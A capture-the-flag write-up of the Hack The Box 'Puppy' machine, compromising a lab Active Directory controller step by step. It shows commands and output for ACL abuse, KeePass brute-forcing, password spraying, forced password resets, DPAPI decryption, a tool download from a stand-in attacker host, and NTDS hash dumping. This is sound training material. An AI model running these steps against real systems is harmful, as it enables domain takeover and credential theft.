External Recon

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-26 22:20:08Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3260/tcp open  iscsi?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Even though this is an assumed-breach machine I still have to start with a nmap scan to find that I am dealing with a Domain Controller for the puppy.htb domain. It has the hostname of DC and besides the usual ports NFS is also present but not used during the machine.

Foothold

Machine Information

As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

Internal Recon

With an account provided I perform the basic reconnaissance of listing SMB shares, which shows the non-default DEV share. However I currently do not have any permissions on said share.

$ nxc smb dc.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.129.239.216  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.239.216  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.239.216  445    DC               [*] Enumerated shares
SMB         10.129.239.216  445    DC               Share           Permissions     Remark
SMB         10.129.239.216  445    DC               -----           -----------     ------
SMB         10.129.239.216  445    DC               ADMIN$                          Remote Admin
SMB         10.129.239.216  445    DC               C$                              Default share
SMB         10.129.239.216  445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.129.239.216  445    DC               IPC$            READ            Remote IPC
SMB         10.129.239.216  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.239.216  445    DC               SYSVOL          READ            Logon server share

Following that I use the Bloodhound CE compatible ingestor the collect information about the Active Directory. And upload it to my locally running Bloodhound instance.

$ bloodhound-ce-python -c All -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb -ns 10.129.239.216 --dns-tcp --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 03S

Privilege Escalation

DACL Abuse

Checking the outbound object control of the provided user levi.james shows that I can add users to the developers group. This group will most likely have some access to the DEV share.

So I use bloodyAD to add levi.james to the developers group, since this the only user access to at the moment.

$ bloodyAD --host '10.129.157.223' -u 'levi.james' -p 'KingofAkron2025!' -d 'puppy.htb' add groupMember 'developers' 'levi.james'
[+] levi.james added to developers

As a new member of the developers group I can now read the contents of the DEV share.

$ nxc smb dc.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB         10.129.239.216  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.129.239.216  445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB         10.129.239.216  445    DC               [*] Enumerated shares
SMB         10.129.239.216  445    DC               Share           Permissions     Remark
SMB         10.129.239.216  445    DC               -----           -----------     ------
SMB         10.129.239.216  445    DC               ADMIN$                          Remote Admin
SMB         10.129.239.216  445    DC               C$                              Default share
SMB         10.129.239.216  445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS
SMB         10.129.239.216  445    DC               IPC$            READ            Remote IPC
SMB         10.129.239.216  445    DC               NETLOGON        READ            Logon server share
SMB         10.129.239.216  445    DC               SYSVOL          READ            Logon server share

To do so I connect to the machine using smbclient.py from Impacket. There I find a KeePassXC installer and also a KeePass database file called recovery.kdbx, which I transfer to my machine.

$ smbclient.py 'levi.james:KingofAkron2025!@dc.puppy.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
Type help for list of commands
# use DEV
# ls
drw-rw-rw-          0  Sun Mar 23 08:07:57 2025 .
drw-rw-rw-          0  Sat Mar  8 17:52:57 2025 ..
-rw-rw-rw-   34394112  Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw-          0  Sun Mar  9 21:16:16 2025 Projects
-rw-rw-rw-       2677  Wed Mar 12 03:25:46 2025 recovery.kdbx
# get recovery.kdbx

SMB Shares

Converting the database using keepass2john fails so I fallback to “manually” cracking the database by trying out different passwords and seeing if the file decrypts. To automate this process someone already wrote a script called keepass4brute. So I clone the repository, install KeePassXC (which is used to try out the passwords and ultimately view the data).

$ git clone https://github.com/r3nt0n/keepass4brute
 
$ cd keepass4brute && chmod +x keepass4brute.sh
 
$ sudo apt install -y keepassxc
 
$ ./keepass4brute.sh ../recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
 
[+] Words tested: 36/14344392 - Attempts per minute: 77 - Estimated time remaining: 18 weeks, 3 days
[+] Current attempt: liverpool
 
[*] Password found: liverpool

Despite the horrendous estimate the database password is guessed almost instantly and I use KeePassXC to access it’s contents, where I find five credentials.

Instead of manually trying them I export the database to a CSV file to create a usable password list using the command below.

$ cat keepass_dump.csv | awk -F ',' '{print $4}' | sed 's/"//g' > passwords.txt

Password Spray

With a password list created I still need a list of users, for this I leverage --users-export from nxc. With everything in place I start trying out different username and password combinations, this return a successful login for the user ant.edwards.

$ nxc ldap DC.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --users-export domain_users.txt
LDAP        10.129.157.223  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.157.223  389    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP        10.129.157.223  389    DC               [*] Enumerated 9 domain users: PUPPY.HTB
LDAP        10.129.157.223  389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.157.223  389    DC               Administrator                 2025-02-19 20:33:28 0        Built-in account for administering the computer/domain
LDAP        10.129.157.223  389    DC               Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.157.223  389    DC               krbtgt                        2025-02-19 12:46:15 0        Key Distribution Center Service Account
LDAP        10.129.157.223  389    DC               levi.james                    2025-02-19 13:10:56 5
LDAP        10.129.157.223  389    DC               ant.edwards                   2025-02-19 13:13:14 0
LDAP        10.129.157.223  389    DC               adam.silver                   2025-06-27 00:19:29 0
LDAP        10.129.157.223  389    DC               jamie.williams                2025-02-19 13:17:26 5
LDAP        10.129.157.223  389    DC               steph.cooper                  2025-02-19 13:21:00 5
LDAP        10.129.157.223  389    DC               steph.cooper_adm              2025-03-08 16:50:40 5
LDAP        10.129.157.223  389    DC               [*] Writing 9 local users to domain_users.txt
 
 
$ nxc ldap dc.puppy.htb -u domain_users.txt -p passwords.txt
SMB         10.129.239.216  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
[...]
LDAP        10.129.239.216  389    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

Looking at outbound object control again I can see a clear path from ant.edwards towards a user from the Remote Management Users group, namely adam.silver.

Usually I would use ShadowCredentials to gain access to the NT hash of a user I have GenericAll/Write over, however since AD CS is not present I have to change the users password. To do so I use bloodyAD again.

$ bloodyAD --host 10.129.239.216 -u 'ant.edwards' -p 'Antman2025!' -d 'puppy.htb' set password 'adam.silver' 'Sup3rP@ssW0rd!'
[+] Password changed successfully!

After that I am confronted with a minor inconvenience of the account being disabled. Which thankfully is easily solvable due to my permissions over the user. To remove the ACCOUNTDISABLE flag from adam.silver I rely on bloodyAD again.

$ nxc ldap dc.puppy.htb -u 'adam.silver' -p 'Sup3rP@ssW0rd!'
SMB         10.129.239.216  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
LDAP        10.129.239.216  389    DC               [-] PUPPY.HTB\adam.silver:Sup3rP@ssW0rd! STATUS_ACCOUNT_DISABLED
 
 
$ bloodyAD --host 10.129.239.216 -u 'ant.edwards' -p 'Antman2025!' -d 'puppy.htb' remove uac 'adam.silver' -f 'ACCOUNTDISABLE'
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl

Backup Data

With winRM access to the machine as adam.silver I begin enumerating the system and find a non-default directory in the the filesystem-root. The discovered Backups directory contains a ZIP archive, which I download to my machine suing the builtin-in download function of evil-winrm.

steph.cooper@evil-winrm$ ls C:\
 
	Directory: C:\
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---          3/8/2025   8:52 AM                Users
d-----         5/13/2025   4:40 PM                Windows
 
 
steph.cooper@evil-winrm$ ls C:\Backups
 
    Directory: C:\Backups
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip
 
steph.cooper@evil-winrm$ download C:\\Backups\\site-backup-2024-12-30.zip site-backup-2024-12-30.zip

After extracting the archive, which does seem related to any running services/applications on the machine, I look for credentials with the source code. A quick grep reveals a potential password in the nms-auth-config.xml.bak file.

$ grep -ira passw .
[...]
./assets/js/util.js:            // Password.
./assets/js/util.js:                    $this.find('input[type=password]')
./assets/js/util.js:                                                                    .replace(/type="password"/i, 'type="text"')
./assets/js/util.js:                                                                    .replace(/type=password/i, 'type=text')
./assets/js/util.js:                                    $this.find('input[type=text],input[type=password],textarea')
./assets/js/util.js:                                                            case 'password':
./nms-auth-config.xml.bak:        <bind-password>ChefSteph2025!</bind-password>

Looking at the complete file I can see that the password is very likely related to the user steph.cooper, which makes sense given that part of their username is contains within the password.

nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

I then use nxc to confirm whether these credentials works and consulting Bloodhound also tells me this another member of the Remote Management Users group.

$ nxc ldap dc.puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'
SMB         10.129.239.216  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
LDAP        10.129.239.216  389    DC               [+] PUPPY.HTB\steph.cooper:ChefSteph2025!

DPAPI

While analysing the Active Directory in Bloodhound I saw that besides the default Administrator user there’s also a second one named setph.cooper_adm.

Simply based on the name I assume that some tiering model is in place, so a user has separate low and high privileged accounts, as designated by the _adm suffix. Looking back at several HTB machines, in recent memory something like Vintage, there is a very high chance that credentials for the setph.cooper_adm account are stored using DPAPI. Also unrelated to previous HTB it a good and rather stealthy technique to pillage DPAPI secrets of a compromised user.

For convenience I transfer SeatBelt on to machine and use it’s DpapiMasterKeys and WindowsCredentialFiles commands to enumerate existing DPAPI masterkeys and blobs. You can enumerate the presence simply by navigating to the appropriate storage locations without any additional tooling, just keep in minds that these folders and files have the hidden attribute set.

steph.cooper@evil-winrm$ iwr http://ATTACKER-IP/Seatbelt.exe -o Seatbelt.exe
steph.cooper@evil-winrm$ ./Seatbelt.exe DpapiMasterKeys WindowsCredentialFiles
 
====== DpapiMasterKeys ======
 
  Folder : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
 
    LastAccessed              LastModified              FileName
    ------------              ------------              --------
    3/8/2025 7:40:36 AM       3/8/2025 7:40:36 AM       556a2412-1275-4ccf-b721-e6a0b4f90407
 
 
  [*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/pvk or /rpc) to decrypt
  [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module
  [*] You can also use SharpDPAPI for masterkey retrieval.
====== WindowsCredentialFiles ======
 
  Folder : C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\
 
    FileName     : DFBE70A7E5CC19A398EBF1B96859CE5D
    Description  : Local Credential Data
 
    MasterKey    : 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed     : 3/8/2025 8:14:09 AM
    Modified     : 3/8/2025 8:14:09 AM
    Size         : 11068
 
 
  Folder : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
 
    FileName     : C8D69EBE9A43E9DEBF6B5FBD48B521B9
    Description  : Enterprise Credential Data
 
    MasterKey    : 556a2412-1275-4ccf-b721-e6a0b4f90407
    Accessed     : 3/8/2025 7:54:29 AM
    Modified     : 3/8/2025 7:54:29 AM
    Size         : 414
 
 
[*] Completed collection in 0.023 seconds

Sticking mostly to Linux for this machine I use evil-winrm again to download the Enterprise Credential Data blob and the singular master key. Assuming this a real company this user might log into different machines and as such their DPAPI blobs should roam around within. Where the Local Credential Data, as can also see in it path, is relegated to stay on this machine.

steph.cooper@evil-winrm$ download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9 C8D69EBE9A43E9DEBF6B5FBD48B521B9
 
steph.cooper@evil-winrm$ download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1487982659-1829050783-2281216199-1107\\556a2412-1275-4ccf-b721-e6a0b4f90407 556a2412-1275-4ccf-b721-e6a0b4f90407

With those files on my attacker machine I user Impacket script called dpapi.py to first decrypt the masterkey of steph.cooper. Afterwards I use the plaintext masterkey to decrypt the credential blob to gain access to the password within.

$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -dc-ip 10.129.239.216 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
 
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
 
$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description :
Unknown     :
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

Since this user is already a member of the Administrator group, I could winRM into the machine right away, or dump hashes from the hashes from the Domain Controller and login as the default Administrator.

$ secretsdump.py -just-dc-user Administrator 'puppy.htb/steph.cooper_adm:FivethChipOnItsWay2025!@dc.puppy.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c0b23d37b5ad3de31aed317bf6c6fd1f338d9479def408543b85bac046c596c0
Administrator:aes128-cts-hmac-sha1-96:2c74b6df3ba6e461c9d24b5f41f56daf
Administrator:des-cbc-md5:20b9e03d6720150d
[*] Cleaning up...